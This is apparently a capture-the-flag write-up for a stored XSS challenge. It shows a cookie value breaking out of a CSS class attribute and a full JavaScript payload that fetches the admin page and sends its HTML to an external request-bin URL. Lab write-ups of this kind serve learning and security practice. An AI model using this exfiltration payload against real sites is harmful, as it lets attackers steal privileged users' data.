XSS Stockée 2

We have a simple form to post a comment:

form to send a comment

There is also a link to /index.php?section=admin, but when cliking it we get the same page with a "Tsss" message (not cool):

Tsss

We can make the assumption that only the admin can access this page, and that it contains the flag.

What we have to do is pretty clear (the title of the challenge isn't lying): submit a comment with a XSS payload to make the admin visit the admin page and send us back the HTML of the page.

However, when sending a comment in which the title or the message contain HTML tags (or just a < character), nothing happens.
There must be some kind of server side logic that discards the request if it contains a < character.

Taking a look at our cookies, we have a status cookie:

status cookie

When submitting a valid comment, the cookie is used as a CSS class:

cookie placed in class

Let's see if it is vulnerable: modify the cookie to something like this: "> <script>alert(1)</script> and submit a new comment:

alert

We can pop an alert !

Now all that's left to do is to craft a payload to send us the admin page. We need an endpoint to send the request containing the HTML of the admin page to. Chances are you don't have a machine exposed to the internet, so we'll use a HTTP request bin service which will give us a unique URL and a dashboard to inspect requests received on this URL.

fetch("/web-client/ch19/?section=admin")
	.then(res => res.text())
	.then(txt => fetch("https://enbuyp3h28bn.x.pipedream.net/?page=" + encodeURI(txt)))

The first fetch() will make a request to the admin page, and when the HTML (res.text()) is received, it will do another fetch() to the HTTP bin URL with the URL-encoded HTML source as a URL parameter.

After some time, we get a request on the HTTP bin:

HTTP request bin

Now we can use a tool like CyberChef to URL-decode the HTML and we should see the flag!